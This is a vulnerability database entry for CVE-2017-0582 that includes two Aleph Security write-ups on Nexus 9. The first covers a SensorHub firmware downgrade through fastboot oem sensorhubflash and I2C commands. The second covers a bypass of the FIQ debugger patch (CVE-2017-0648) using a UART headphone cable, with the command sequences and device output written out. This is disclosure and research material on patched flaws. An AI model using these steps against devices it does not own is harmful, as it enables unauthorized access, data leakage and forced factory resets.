Vulnerabilities > CVE-2017-0582 - Unspecified vulnerability in Linux Kernel 3.10
Attack vector
LOCAL Attack complexity
HIGH Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
An elevation of privilege vulnerability in the HTC OEM fastboot command could enable a local malicious application to execute arbitrary code within the context of the sensor hub. This issue is rated as Moderate because it first requires exploitation of separate vulnerabilities. Product: Android. Versions: Kernel-3.10. Android ID: A-33178836.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 |
Seebug
bulletinFamily exploit description #### Product * Google Nexus 9 #### Vulnerable Version * Nexus 9 Android Builds before N4F27B - May 2017, i.e. before bootloader 3.50.0.0143. #### Mitigation * Install N4F27B or later (bootloader version 3.50.0.0143). #### Technical Details The Nexus 9 device contains a SoC manufactured by Cywee which implements a “Sensor Hub”. The SoC is an STM32F401B/C ARM Cortext-M4 MCU, managed by a driver available under drivers/i2c/chips/CwMcuSensor.c. The platform communicates with SensorHub via I2C bus #0 and via 4 GPIO ports. See the device tree. The MCU has two modes: * Application mode. This is the normal firmware operation, where the MCU provides the sensors’ data via I2C (slave address 0x72). * Bootloader mode. This mode allows for firmware management via various interfaces, including I2C (slave address 0x39). The MCU switches to the bootloader mode when the bootloader activation Pattern 1 is detected. Upon the platform boot, the CwMcuSensor driver queries the firmware’s version (I2C register 0x10). If it does not match the one found in the vendor’s partition (/vendor/firmware/sensor_hub.img), it switches to the bootloader mode, and upgrades the firmware (again, via I2C). Please note that the firmware is not signed. By issuing a proprietary fastboot oem command sensorhubflash, a physical attacker / malicious charger / malicious headphones (via the UART interface, exposed by the headphones jack – see our blog post) can downgrade the SensorHub firmware to an old version, saved under the SER partition (/dev/block/mmcblk0p19). This version may contain vulnerabilities which may allow the attacker to compromise the MCU. One may claim that it is not an issue because the platform would immediately upgrade the firmware upon boot (since its version is different from the one found in the vendor image), however, in Nexus 9, the I2C buses could be accessed via the fastboot interface, by using the fastboot oem {i2cr, i2cw, i2crNoAddr, i2cwNoAddr, i2cdetect} commands. (I2C could also be accessed via UART, in the HBOOT mode.) Thus, the attacker could interact with the old firmware BEFORE it was replaced by the platform using I2C, and thus potentially exploit a security vulnerability which would allow him to return a bogus version identifier, bypassing the platform’s check. Please note that the SoC’s I2C code runs in privileged mode. The next figure depicts the attack. The device is already in the fastboot mode. We first queried the current firmware version ID, by reading I2C register 0x10. This ID corresponds to “Firmware Architecture version 1, Sense version 0, Cywee lib version 16, Water number 40, Active Engine 2, Project Mapping 1”. We then downgraded to the old firmware, and re-queried the firmware ID. As we can see, the old firmware is up and running, and returns a version ID which corresponds to “Firmware Architecture version 1, Sense version 0, Cywee lib version 10, Water number 19, Active Engine 1, Project Mapping 1”, much older!. ``` $ fastboot oem i2cr 0 0xe5 0x10 6 (bootloader) ret:0 (bootloader) > [8] = 1 0 10 28 2 1 0 0 0 0 0 0 0 0 0 0 OKAY [ 0.013s] finished. total time: 0.014s $ fastboot oem sensorhubflash ... (bootloader) RUU_frame_buffer_enable_flag=0 (bootloader) RUU_frame_buffer_enable_flag=0 (bootloader) RUU_frame_buffer_enable_flag=0 ... (bootloader) RUU_frame_buffer_enable_flag=0 OKAY [ 67.718s] finished. total time: 67.719s $ fastboot oem i2cr 0 0xe5 0x10 6 ... (bootloader) ret:0 (bootloader) > [8] = 1 0 a 13 1 1 0 0 0 0 0 0 0 0 0 0 OKAY [ 0.015s] finished. total time: 0.016s ``` #### PoC & Further Research In addition to fetching the old firmware image from the flash (SER partition), for the sake of curiousity we also successfully obtained it from the SoC itself: * We downgraded the SoC firmware by exploiting the vulnerability. * We modified the CwMcuSensor driver (PoC can be found here). We disabled the firmware version check, and added a sysfs interface which allowed us to reboot the MCU into its bootloader mode and issue the bootloader READMEMORY command. * We fetched the firmware from address 0x08000000 One can now take the old firmware and search for vulnerabilities. #### Patch Google patched the vulnerability on build N4F27B / bootloader 3.50.0.0143 by removing the sensorhubflash bootloader command: ``` ... $ fastboot oem sensorhubflash (bootloader) [ERR] Command error !!! OKAY [ 0.013s] finished. total time: 0.015s ``` In addition, access to the I2C buses has also been removed from the bootloader – the I2C related bootloader commands are no longer available: ``` $ fastboot oem i2cr 1 0xb8 6 1 ... (bootloader) [ERR] Command error !!! OKAY [ 0.011s] finished. total time: 0.012s ``` Please note that although Google published the advisory on the April Security Bulletin, the patch has been included only since the April 5 2017 Security Patch Level, where the April Nexus 9 image (N4F26X) has the April 1 2017 Security Patch Level, hence it does not contain the patched bootloader. #### Timeline * 04-May-17: Public disclosure. * 01-May-17: Patch available. * 03-Apr-17: Vendor advisory available. * 01-Mar-17: Added as ALEPH-2017010. * 01-Feb-17: Vulnerability triaged by vendor (Moderate). * 28-Nov-16: Reported. id SSV:93105 last seen 2017-11-19 modified 2017-05-12 published 2017-05-12 reporter Root title Google Nexus 9 SensorHub Firmware Downgrade Vulnerability(CVE-2017-0582) bulletinFamily exploit description # Nexus 9 vs. Malicious Headphones, Take Two # In March 2017 we [disclosed](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger/) `CVE-2017-051`0, a critical vulnerability in Nexus 9, that allowed for quite unique an attack by malicious headphones. Interestingly, its patch was insufficient. We had responsibly reported that finding (`CVE-2017-0648`) to Google, which patched it in the J[une 2017 Android Security Bulletin](https://source.android.com/security/bulletin/2017-06-01#kernel-components). In this blog post we will begin with a short recap of `CVE-2017-0510`, analyze why its original patch is insufficient (`CVE-2017-0648`), and demonstrate a sample attack against it. We will end by presenting `CVE-2017-0648`’s patch, which seems to completely block the attack. ## Recap of CVE-2017-0510 ## It’s a common practice in Google Nexus / Pixel devices that when the voltage on the `MIC` pin of the TRRS connector exceeds some threshold, the headphone jack turns into a UART debug interface ([see our survey](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#a-new-survey)). Here is a sample cable we assembled using the standard [FTDI232RL breakout board](https://www.sparkfun.com/products/12731): ![](https://images.seebug.org/1497415199035-w331s) The vulnerability in Nexus 9 was that the debug interface also gave access to a capable FIQ debugger: <hit enter to activate fiq debugger> debug> help FIQ Debugger commands: pc PC status regs Register dump allregs Extended Register dump bt Stack trace reboot [<c>] Reboot with command <c> reset [<c>] Hard reset with command <c> irqs Interupt status kmsg Kernel log version Kernel version sleep Allow sleep while in FIQ nosleep Disable sleep while in FIQ console Switch terminal to console cpu Current CPU cpu <number> Switch to CPU<number> ps Process list sysrq sysrq options sysrq <param> Execute sysrq with <param> That had interesting consequences, such as: 1. [Preemption of arbitrary processes](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#fiq-debugger), allowing for leakage of user data. 1. [Leakage of Stack Canaries](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#listening-to-your-stack-canaries) 1. [Derandomization of ASLR](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#aslr) 1. [Access to SysRq](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#sysrq) 1. [Rebooting into HBOOT (HTC’s Android Bootloader)](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#42-answer-to-the-ultimate-question-of-life-the-universe-and-everything) by issuing `reboot oem-42`, which also enabled attacks against internal SoCs (further patched in the [May 2017 update](https://source.android.com/security/bulletin/2017-05-01) – `CVE-2017-0563` & `CVE-2017-0582`) 1. [Factory Resets](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger#factory-reset), by issuing `reboot oem-76`. ## CVE-2017-0510’s Attempted Patch ## Google has tried to patch `CVE-2017-0510` by reducing the capabilities of the `FIQ Debugger`. In recent builds since the patch, when the platform is fully loaded, it is no longer possible to dump the registers nor reboot with an `oem-N` parameter (preventing reboots into `HBOOT` and Factory Resets): debug> help FIQ Debugger commands: reboot Reboot reset Hard reset irqs Interrupt status sleep Allow sleep while in FIQ nosleep Disable sleep while in FIQ console Switch terminal to console ps Process list debug> The relevant commit in the tegra kernel tree is [a075f8ab69f6](https://android.googlesource.com/kernel/tegra/+/a075f8ab69f679f221f9e2001363aae83cbdd2e8). Analyzing the patch shows that the critical FIQ debugger commands are now governed by the `sysrq_on()` function. For example, let’s examine `fiq_debugger_fiq_exec` under [fiq_debugger.c](https://android.googlesource.com/kernel/tegra/+/a075f8ab69f679f221f9e2001363aae83cbdd2e8/drivers/staging/android/fiq_debugger/fiq_debugger.c): static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state, const char *cmd, const struct pt_regs *regs, void *svc_sp) { [...] } else if (!strcmp(cmd, "pc")) { if (sysrq_on()) fiq_debugger_dump_pc(&state->output, regs); } else if (!strcmp(cmd, "regs")) { if (sysrq_on()) fiq_debugger_dump_regs(&state->output, regs); } else if (!strcmp(cmd, "allregs")) { if (sysrq_on()) fiq_debugger_dump_allregs(&state->output, regs); } else if (!strcmp(cmd, "bt")) { if (sysrq_on()) fiq_debugger_dump_stacktrace(&state->output, regs, 100, svc_sp); [...] } `sysrq_on` is implemented under [drivers/tty/sysrq.c](https://android.googlesource.com/kernel/tegra/+/a075f8ab69f679f221f9e2001363aae83cbdd2e8/drivers/tty/sysrq.c) as follows: bool sysrq_on(void) { return sysrq_enabled || sysrq_always_enabled; } Since the value of `sysrq_always_enabled` is 0, we can conclude that the effectiveness of this patch solely depends on the value of `sysrq_enabled`. ## Ephemeral Access to Unrestricted FIQ Debugger and SysRq (CVE-2017-0648) ## Unfortunately, as explained in the [previous blog post](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger/), the default value of `sysrq_enabled` was 1: static int __read_mostly sysrq_enabled = SYSRQ_DEFAULT_ENABLE; where under [include/linux/sysrq.h](https://android.googlesource.com/kernel/tegra/+/a075f8ab69f679f221f9e2001363aae83cbdd2e8/include/linux/sysrq.h): /* Enable/disable SYSRQ support by default (0==no, 1==yes). */ #define SYSRQ_DEFAULT_ENABLE 1 Now, during the platform boot-up, an [`init` script](https://android.googlesource.com/platform/system/core/+/android-7.1.2_r17/rootdir/init.rc) writes 0 to `/proc/sys/kernel/sysrq`: [...] on early-init # Set init and its forked children's oom_adj. write /proc/1/oom_score_adj -1000 # Disable sysrq from keyboard write /proc/sys/kernel/sysrq 0 [...] The `/proc/sys/kernel/sysrq` proc file is backed by code under kernel/sysctl.c that eventually toggles `sysrq_enabled`. Therefore, despite `CVE-2017-0510`’s patch, there was a very short window of time (a few milliseconds) during boot, until the `init` script was executed, that one could still access the unrestricted FIQ debugger (and also [SysRq commands](https://alephsecurity.com/2017/03/08/nexus9-fiq-debugger/#sysrq)). Since the attacker could force a reboot even from the limited FIQ debugger, he could access the unrestricted FIQ even if the victim inserted the malicious cable after the platform had been fully loaded: Ephemeral Access to Unrestricted FIQ and SysRq (CVE-2017-0648) ============================================================= .------. (1) .------------------. .--> | BOOT | -------> | Unrestricted FIQ | --. | `------' `---------.--------' | (4) .-------. | | |---> | HBOOT | | (3) .-------------. (2) | | `-------' `--------- | Limited FIQ | <-----' | `-------------' | (5) .---------------. `---> | Factory Reset | `---------------' Transitions: (1) sysrq_enabled = SYSRQ_DEFAULT_ENABLE = 1 (2) init: write 0 /proc/sys/kernel/sysrq 0 => sysrq_enabled = 0 (3) attacker @ limited FIQ: 'reboot' (4) attacker @ unrestricted FIQ: 'reboot oem-42' (5) attacker @ unrestricted FIQ: 'reboot oem-76' It should be noted that the recovery init.rc script does not disable sysrq at all, which allowed for **non-ephemeral** unrestricted FIQ access while the device was in the recovery mode. (It also mitigated by the new patch.) ## Proof-of-Concept ## The following demonstrates how we preempt an arbitrary process, and also get into the HBOOT mode, bypassing `CVE-2017-0510`’s patch. We assume the attack begins when the platform is fully-loaded. We force a (normal) reboot, and then get an early and temporary access to the FIQ debugger, during which we issue the capable-FIQ bt command. Afterwards we reboot into the HBOOT mode by issuing `reboot oem-42`: debug> help FIQ Debugger commands: reboot Reboot reset Hard reset irqs Interrupt status sleep Allow sleep while in FIQ nosleep Disable sleep while in FIQ console Switch terminal to console ps Process list debug> bt debug> reboot debug> [0000.045] Battery Present [0000.069] Battery Voltage: 3743 mV [0000.072] Battery charge sufficient [0000.076] Override BCT configs [0000.078] NvBootEmcReadMrr+++ [...] [hboot query] query 24 is not implemented Platform Pre OS Boot configuration... [INFO] booting linux @ 0x80080000, tags @ 0x83a80000, ramdisk @ 0x82a80000, machine type: -1 [...] <hit enter to activate fiq debugger> debug> help FIQ Debugger commands: pc PC status regs Register dump allregs Extended Register dump bt Stack trace reboot [<c>] Reboot with command <c> reset [<c>] Hard reset with command <c> irqs Interupt status kmsg Kernel log version Kernel version sleep Allow sleep while in FIQ nosleep Disable sleep while in FIQ console Switch terminal to console cpu Current CPU cpu <number> Switch to CPU<number> ps Process list sysrq sysrq options sysrq <param> Execute sysrq with <param> [...] debug> bt pid: 89 comm: kworker/u4:1 x0 0000000000002ee0 x1 0000000000002d09 x2 000000000859c84a x3 ffffffc002968c00 x4 0000000000defde8 x5 ffffffc000f56aa8 x6 ffffffc0029c8400 x7 ffffffc0029c8800 x8 ffffffc002935130 x9 0000000010624dd3 x10 000000000001a1b6 x11 0000000000000066 x12 000000000000006f x13 0000000000000075 x14 000000000000006e x15 0000000000000064 x16 000000000000000a x17 0000000000000004 [...] debug> reboot oem-42 [...] ###[ Bootloader Mode ]### [...] hboot> ? #. <command> : <brief description> security_command: 1. boot : no desc. [...] 14. readconfig : no desc. 15. readimei : no desc. 16. readmeid : no desc. 17. readpid : no desc. 18. rebootRUU : no desc. 19. refurbish : no desc. 20. reset : no desc. [...] hboot> ## CVE-2017-0648’s Patch ## Google has patched the vulnerability by commit [34597d088801](https://android.googlesource.com/kernel/tegra/+/34597d088801ad8060b45026df2435f52136032f) (available in the [N9F27C June 2017 build](https://developers.google.com/android/images#volantis). The value of `SYSRQ_DEFAULT_ENABLE` is now 0, preventing the temporary access to the unrestricted FIQ debugger and `SysRq` interface: diff --git a/include/linux/sysrq.h b/include/linux/sysrq.h index 5a0bd93..d393eeb 100644 --- a/include/linux/sysrq.h +++ b/include/linux/sysrq.h @@ -18,7 +18,7 @@ #include <linux/types.h> /* Enable/disable SYSRQ support by default (0==no, 1==yes). */ -#define SYSRQ_DEFAULT_ENABLE 1 +#define SYSRQ_DEFAULT_ENABLE 0 /* Possible values of bitmask for enabling sysrq functions */ /* 0x0001 is reserved for enable everything * id SSV:93197 last seen 2017-11-19 modified 2017-06-14 published 2017-06-14 reporter Root title Nexus 9 vs. Malicious Headphones, Take Two